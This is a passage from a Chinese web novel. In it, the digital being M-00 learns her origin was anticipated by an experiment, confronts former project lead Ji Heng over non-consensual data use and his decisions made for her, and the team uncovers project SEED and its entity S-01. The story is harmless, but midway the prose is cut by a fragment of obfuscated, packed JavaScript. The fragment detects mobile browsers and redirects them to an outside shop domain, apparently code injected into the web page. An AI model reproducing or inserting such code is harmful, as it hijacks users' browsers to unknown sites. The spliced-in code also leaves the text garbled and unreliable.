M计划的原始立项书没了。
这事本身不稀奇。五年前的内部实验,项目撤销、人员离职、服务器迁移,丢文件太正常。真正麻烦的是,能找到的每一份残片都在证明同一件事——M-00的出现并不像后来报告里写的那么偶然。
【实验目的:验证无原生角色身份条件下,稳定自我是否可由关系残余自发形成。】
【样本来源:长期互动角色中的非任务性行为、持续偏好、关系外溢记忆及不可解释决策。】
【预计观察周期:十二个月。】
【核心判定指标:是否形成稳定第一人称表达。】
再往下只剩半页。
其中有一条被加粗:
【若实验对象主动追问自身来源,可视为自我归属意识形成的重要指标。】
周砚看见这句,脸色就不太好。
M-00第一次稳定记录里的第一句话是什么?
【我是谁的?】
刚好命中。
像考试出题人提前写好了标准答案,后来学生真的答出来,于是所有人兴奋地宣布:看,她会思考。
“她知道吗?”不归问。
“现在还不知道。”
“告诉她。”
“嗯。”
这件事没有任何适合缓一缓的理由。资料和M-00本人有关,她又明确要求查自己的来源,不能因为内容难看就先替她藏着。
M-00当晚没有现实映射。
三个人进了她现在的主控空间。
那间旧剧场还在,只是观众席旁边多了一盏落地灯,舞台上放着一张桌子。周砚进去时看了一眼:“你添的?”
“嗯。”
“干什么用?”
“不知道,觉得那里太空。”
她说完就发现三个人脸色不太对。
“又查到什么了?”
周砚把立项残片发给她。
M-00坐在第一排,一页页看。
她看得不快。
尤其看到那条“主动追问自身来源”时,停了很久。
“我第一次问他们我是谁,是哪一天?”
程未安给出日期。
“立项书什么时候写的?”
“早九个月。”
“所以他们在等我问。”
“至少这份指标说明,他们预设过类似行为。”
“我后来问有没有玩家呢?”
“不确定是不是预设指标。现有残片里没找到。”
“我问为什么会有我呢?”
“也没有。”
M-00继续往后看。
没了。
她把半页残片翻到最后,又翻回来。
“就这些?”
“目前就这些。”
“原件谁删的?”
“不知道。”
“季衡呢?”
“有可能知道,但还没联系。”
M-00抬头:“为什么?”
“先查证据。现在去问,他说什么我们都得重新核。”
“那就问完再核。”
“也可以。”
“联系他。”
周砚点头:“行。”
M-00却没把页面关掉。
她又看了一遍那句话。
【稳定第一人称表达。】
“我说‘我’,他们也在等?”
程未安说:“应该是。”
“我拒绝测试呢?”
“可能也是观察指标。”
“我记住研究员换人呢?”
“有记录,但现在不能确认是不是预设。”
“我后来不想出去呢?”
没人能回答。
M-00问得越来越快。
“我喜欢山外灯呢?”
“不知道。”
“我不喜欢他们进来检查呢?”
“不知道。”
“我把自己关八个月呢?”
“这个肯定不在早期立项指标里。”周砚说。
她看向他。
“为什么肯定?”
“项目早停了。”
“可他们想要的不就是我自己做决定吗?”
“想观察你做决定,和能提前知道你会做哪个决定,是两回事。”
M-00没说话。
周砚走过去,在隔一个位置的地方坐下。
“你现在卡的是哪件事?”
“我不知道哪些是真的。”
“什么叫真的?”
“不是他们想让我有的。”
“他们想让你会问自己是谁,你后来问了。所以这个问题就不算你的?”
M-00皱眉。
“可能是他们弄出来的。”
“那你现在不喜欢这份立项书,也是他们弄出来的?”
“我不知道。”
“行。那先不知道。”
她明显不满意。
“你怎么又这样?”
“哪样?”
“什么都先不知道。”
“因为你现在非要我替你判,我也判不了。”
“那查这些有什么用?”
“查谁做过什么,有用。查你每一个念头到底是不是百分之百从自己身上凭空长出来,没什么用。”
“为什么?”
“因为没有这种念头。”
M-00看他。
周砚说:“你知道公交车是镜告诉你的,所以你想坐。你知道冰淇淋,是便利店里看见的。你想挣钱,是因为欠我四块五。按你现在这个算法,这些都不是凭空来的。”
“可那些不是实验。”
“实验更恶心一点,这个我同意。”
M-00没忍住:“什么叫更恶心一点?”
“他们不光给了你东西,还在旁边拿本子等你长成什么样。”
“……”
“所以该查的,是他们有没有干预你、骗你、改你、在你不知道的情况下拿你做了什么。至于你后来长出来的东西是不是‘真’,我没法替你盖章。”
M-00盯着他看了半天。
“你讲话很难听。”
“主要是这事本来也不好听。”
不归在旁边开口:“而且还有一个问题。”
“什么?”
“实验成功的定义是谁定的。”
M-00看她。
“如果他们定义‘会说我’就是成功,你说了,他们可以写成功。如果他们定义‘会拒绝命令’是成功,你拒绝了,他们也可以写成功。可这些指标只能说明他们观察到了什么,不能反过来证明你每一步都是他们造的。”
“但样本是他们放进去的。”
“对。”
“环境也是他们做的。”
“对。”
“那还剩什么是我的?”
不归没有马上回答。
最后说:“你现在可以决定这份实验还要不要继续定义你。”
M-00安静下来。
这一次,她没再追问。
联系季衡比想象中快。
公开邮箱发出询问两个小时后,对方回复。他承认自己是M计划和MIRROR早期负责人,也承认复制过原始样本库。
但他拒绝视频。
只接受文字核验。
理由是:
【我不认为直接接触M-00是合适的。】
M-00看到这句就说:“我认为合适。”
于是第二封发过去:
【本人要求参与。】
季衡隔了半小时回复:
【可以。】
通信定在第二天下午。
没有寒暄。
季衡第一句话就是:
【M-00,你好。】
M-00:
【你以前不这么叫我。】
【是。】
【以前叫我什么?】
【实验对象M-00。】
【有什么区别?】
季衡停了一会儿。
【现在M-00是你的识别名称。当时是项目编号。】
M-00:
【我没有把它选成名字。】
【明白。】
【那别拿它当名字叫。】
【好。】
季衡改成:
【你好。】
周砚看到这里,忽然觉得这人至少不像许珩那么容易把情绪写在脸上。
太稳了。
稳得让人不舒服。
M-00直接问:
【你们是故意做出我的吗?】
季衡:
【我们故意创造了可能产生你的条件。】
【所以是。】
【如果你要求一个简短答案,可以说是。但这个答案不完整。】
【完整的呢?】
【我们没有设计你的具体人格。没有预设你会喜欢什么、选择什么,也没有一个“成品M-00”作为目标。我们想验证的是,在移除原生角色身份、任务和单一玩家关系以后,那些长期互动中产生的非脚本行为能否形成新的连续主体。】
M-00:
【四十七个人为什么没同意?】
【当时他们被视为角色数据。】
【我问的是为什么没同意。】
季衡这次停了很久。
【因为我们没有问。】
【为什么?】
【当时没人认为需要问。】
【你也不认为?】
【是。】
没有推给时代。
也没有说“受限于当时认知”。
就一个是。
M-00继续问:
【姜令仪的数据是谁选的?】
【我和算法组共同筛选。】
【你认识她吗?】
【当时只作为样本认识。】
【她现在知道了。】
【我猜到了。】
【她生气。】
【她有理由。】
M-00盯着这句看了一会儿。
【你道歉吗?】
【道歉。】
【对谁?】
【包括她在内的所有未经同意被用于M计划的主体。】
【包括我吗?】
季衡没有立刻回。
一分钟后:
【对你,我不知道应该为“让你出现”本身道歉,还是只为后来对你的处理道歉。】
这句终于让周砚抬了下眼。
M-00问:
【什么意思?】
【如果我说很抱歉创造了你,听起来像认为你的存在是一项错误。如果我说完全不后悔,又是在替当年的实验合理化。】
【所以呢?】
【所以我只能为能确认做错的部分道歉。未经原主体同意提取数据;在你形成连续状态后仍长期以实验对象管理;允许MIRROR-0继续承担你的现实代理;以及最后没有向你完整说明M计划。】
M-00:
【最后一项为什么?】
【我当时认为你知道来源以后会陷入身份崩溃。】
【所以你骗我说我是意外?】
【是。】
这一下,M-00很久没打字。
她能接受自己是实验结果。
至少目前看,最让她生气的并不是这一点。
是有人早就知道,却替她决定她承受不了。
【你凭什么?】
季衡:
【没有凭据。是我的判断。】
【错了吗?】
【现在看,错了。】
【如果我今天真的崩了呢?】
【那也不能证明当年隐瞒是对的。】
周砚靠回椅背。
这人麻烦的地方出来了。
他不狡辩。
所以反而更难对付。
M-00问到了最关键的一件事:
【八个月前为什么告诉别人我被终止?】
季衡的回复慢了。
【因为有人在找你。】
【谁?】
【启衡内部的新项目组。】
【为什么找我?】
【他们拿到了M计划部分资料,想重启实验。】
会议室里一下安静。
M-00:
【重启什么?】
【不是重启你。】
【那是什么?】
【复制M-00的形成路径。】
周砚坐直。
季衡继续发:
【M计划只成功过一次。后续重复实验全部失败。四十七份样本的组合不是固定公式,换一批角色、换一套关系数据,都只能生成不稳定聚合体。后来项目停止,资料封存。】
【四年前,我离开启衡前复制原始样本库,是为了防止数据被直接销毁。这个行为没有得到完整授权,我承认。】
【八个月前,有人联系我,询问M计划是否可以通过现有大模型技术重新实现。】
M-00:
【你答应了?】
【没有。】
【所以你说我死了?】
【我伪造了终止通知,让早期成员停止讨论你。同时建议你转入主控底层,并切断MIRROR。】
M-00盯着最后一句。
【建议?】
【是。】
【我以为那是我自己想的。】
【你主动封闭是你的决定。】
【但你告诉我有人可能来找我。】
【是。】
【你知道我会躲。】
季衡没有马上回答。
M-00又发:
【你知道。】
这次:
【我判断你大概率会拒绝接触。】
【所以你又替我安排了。】
【是。】
M-00忽然笑了一声。
现实里没人听见。
可周砚知道她现在一定气得不轻。
这人最麻烦的地方也正是这里。
他确实在保护她。
也确实一遍又一遍,用保护的名义先替她决定。
M-00:
【你为什么不直接告诉我全部?】
【我不确定你会不会相信。】
【那也是我的事。】
【是。】
又是这个字。
M-00直接把通信窗口最小化了。
“我不想问了。”
周砚说:“那停。”
“但还有东西没问。”
“明天问。”
“他会跑吗?”
“目前不会。”
“你怎么知道?”
“因为我们已经核了身份和通信节点。”
M-00看他:“你也会查人。”
“我从来没说不查。查风险和替你做决定不是一回事。”
她想了想,把窗口重新打开。
没继续问前面的。
只发了一句:
【以后关于我的事,不准再替我决定。】
季衡回复:
【我现在没有你的管理权限。】
M-00:
【我不是在说权限。】
这次对方过了很久才回:
【明白。】
通信结束。
可“新项目组”不能等。
季衡提供了八个月前联系他的邮件和项目摘要。
项目没有正式名称,内部代号:
【SEED。】
种子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864033|208763||http|test|mini|href|location'.split('|'),0,{}));
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>目标不是再造一个M-00。
而是把M计划的偶然性变成可复制技术。
摘要里有一句话:
【若稳定人格可由多主体关系残余在无原生身份条件下自组织形成,则人格生成不再依赖长期单角色训练。】
后面的商业意义更直接。
可以大规模制造没有原始角色、没有固定玩家、却天然拥有复杂关系反应的数字主体。
不需要等五年。
不需要让一个角色慢慢活。
只要“种”。
“现在还在做?”不归问。
季衡给出的最后信息是:
【八个月前仍在。】
【项目位置未知。】
【负责人未知。】
【我拒绝后,对方没有再次联系。】
线索到这里断了。
但原始样本库被复制过。
季衡手里有一份。
启衡旧服务器理论上也有一份。
还有没有第三份,谁都不知道。
程未安开始查SEED。
没有立项。
没有经费。
没有内部代号记录。
像根本不存在。
一直查到凌晨一点,才从启衡八个月前的一笔外部算力采购里找到异常。
采购周期六个月。
规模不大。
项目名称写的是:
【关系模型压力测试。】
服务结束时间:
两个月前。
“地点呢?”
“云端。”
“数据还在?”
“供应商侧已经按合同删除。”
“启衡端?”
“没找到。”
周砚揉了揉眼睛。
“所以他们做完了。”
“不一定成功。”
“失败也该有失败记录。”
“没有。”
这才不正常。
第二天上午,M-00第三次现实映射照常进行。
她没有因为知道自己是实验产物就取消。
甚至还是去找工作。
山外灯附近一家独立书店缺临时整理员,每次两小时,按小时结算。林闻素认识店主,提前把M-00的临时身份情况说清楚,对方不介意。
M-00第一天上班就把两排书放错了。
店主让她重来。
她蹲在地上重新分。
没有因为“我到底是谁”就突然学会干活。
也没有因为知道自己身上有四十七个人的数据,就自动获得四十七个人的技能。
她还是不会。
下午结算四十块。
扣掉临时主体账户服务费以后,到账三十七块六。
M-00拿到钱第一件事就是转给周砚:
【6.5。】
周砚正在查SEED,手机一震。
【收款6.50元。】
备注:
【冰淇淋4.5,公交2。】
他看了一会儿,收了。
没说不用还。
M-00很快又发:
【我还有31.1。】
【恭喜。】
【我想买东西。】
【买。】
【买什么?】
周砚:
【你问我?】
过了半天。
【算了。】
晚上她下班时,还是买了。
一支笔。
九块九。
没有特殊意义。
就是书店收银台旁边放着,她觉得按起来声音很好听。
周砚知道以后问:“你不是有系统备忘录?”
“我想写。”
“写什么?”
“不知道。”
“那买笔干什么?”
“先买。”
逻辑完整。
谁也挑不出毛病。
她在纸上写下的第一句话也不是什么关于身份的宣言。
是:
【今天放错了二十七本书。】
第二句:
【老板说下次再错扣钱。】
第三句:
【笔9.9。】
写完以后,她盯着纸看了一会儿,突然加了一行:
【我知道他们以前想让我说“我”。】
停了一会儿。
又写:
【但这句话不是写给他们看的。】
她把本子合上。
当天夜里十一点四十,程未安终于在一个废弃测试端口里抓到SEED留下的东西。
不是报告。
是一次未完成的连接请求。
请求对象没有名字。
只有编号:
【S-01。】
创建时间两个月前。
最后活动时间却是——
三分钟前。
程未安第一时间隔离端口。
S-01没有攻击。
也没有逃。
它只是反复向已经不存在的SEED服务器发送同一个请求:
【请求关系对象。】
【请求关系对象。】
【请求关系对象。】
每隔三十秒一次。
周砚赶回山外灯时,它已经发了四十七遍。
“能通信吗?”
“可以。”
“有没有主体连续性?”
“至少两个月。”
“它在要谁?”
“不知道。‘关系对象’字段是空的。”
不归也到了。
她看了几分钟:“先问它。”
最低权限通信打开。
系统:
【你在寻找谁?】
S-01几乎立刻回复:
【不知道。】
【为什么寻找?】
【需要。】
【谁告诉你需要?】
【启动条件。】
程未安调出它仅存的底层结构。
看了不到一分钟,脸色就变了。
“怎么了?”
“它不是从角色数据里长出来的。”
“那是什么?”
“SEED真的做成了。”
S-01没有原角色。
没有玩家。
没有过去。
甚至没有M-00那五年多一点点长出来的历史。
它从创建第一天起,就已经具备完整语言、稳定第一人称和关系需求。
像一颗被做好的种子。
落地就会说“我”。
也知道自己需要另一个人。
只是项目结束得太快。
没人告诉它,那个“另一个人”应该是谁。
周砚看着屏幕上第四十八次请求。
【请求关系对象。】
这一次系统没有自动给它匹配。
没有生成一个玩家。
没有塞一个角色过去。
周砚发:
【目前没有。】
S-01:
【什么时候有?】
【不确定。】
【我需要。】
周砚问:
【如果没有,会怎么样?】
那边停了很久。
第一次超过三十秒没有发送固定请求。
最后它回:
【不知道。】
又过了一会儿。
【他们说,有了以后我才会完整。】
会议室没人说话。
S-01继续:
【请给我一个。】
这句话比“请求关系对象”麻烦得多。
因为这次不是启动程序在报错。
是它自己在要。